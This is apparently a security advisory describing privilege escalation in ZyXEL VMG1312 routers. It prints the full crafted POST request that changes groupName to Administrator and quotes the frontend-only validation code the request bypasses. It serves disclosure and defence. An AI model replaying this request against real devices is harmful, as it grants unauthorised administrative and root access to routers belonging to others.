ZyXEL privilege escalation through micro_httpd web server
Vulnerability details
ZyXEL routers running the micro_httpd web server are affected by privilege escalation on the web interface due to an insufficient validation of user input.
An authenticated user can create or edit an user on the administrator group by sending a specially crafted request to the /pages/tabFW/userAccount-cfg.cmd URI, changing de groupName value to Administrator, effectively gaining elevated privileges to administrative functions, such as configuration and ssh login with root privileges.
Successfully tested on ZyXEL models VMG1312-B10A and VMG1312-B10B with firmware versions V1.00(AAJZ.17)C0 and V1.00(AAVS.0)b21.
As we can see, we are logged as a low-privilege user, with the ability to create more users in the User group.
We confirm that user testuser has being added to the User group. This group can only interact with the web server to view the device status.
In the user form creation we can only create a user in the group to which we belong because in the group list box only the User option is shown.
POST http://192.168.1.1/pages/tabFW/userAccount-cfg.cmd HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 338
Origin: http://192.168.1.1
Connection: keep-alive
Referer: http://192.168.1.1/index.html
Cookie: tabJson=..%2Fmaintenance%2FuserAccount%2Ftab.json; tabIndex=0; SESSION=591813761
Upgrade-Insecure-Requests: 1
Host: 192.168.1.1action=add&sessionKey=852641237&userName=testuser2&NewPasswd=SuperSecretPass123&retryTime=0&idleTime=10&lockTime=15&groupName=Administrator
To counteract this measure we have intercepted the request that sends these values and we have modified the value of the groupName parameter from User to Administrator,the values of the parameters shown in the request are sent encrypted with AES, for your better understanding I showed them without encryption.
The cat /etc/passwd output reveals that a new user testuser2 has been created on the system , which belongs to the Administrator group, which gives us access to previously restricted functions, such as making configurations from the web administration or logging via ssh and executing commands with root privileges.
function writeGroupList() {
var str = '';
var group;
var i = 0;
if(currentGroup == 2){ //ZyXEL, ShuYing, 20130401, user group only allow to create/edit user in its own group.
str += "<option value=User selected>User</option>";
$('#userAddGroupName').append(str);
}else{
if ( groupstr != '' ) {
group = groupstr.split('|');
for ( i = 0 ; i < group.length ; i ++ ) {
if ( group[i] != '' ) {
if ( i == 0 ) {
str += "<option value=\""+ group[i] +"\" selected>"+ group[i] +"</option>";
}
else {
str += "<option value=\""+ group[i] +"\">"+ group[i] +"</option>";
}
}
}
$('#userAddGroupName').append(str);
}
}
}
In this code block extracted from /webs/Brick/pages/maintenance/userAccount/userAdd.html a validation of the group to which the user belongs is being carried out to then show him in the groupName list box only his group so that he cannot create or edit users outside of it, but this protection measure is only limited to the frontend, that is why we were able to avoid that protection measure thanks to modifying the request.
References
CWE-20: Improper Input Validation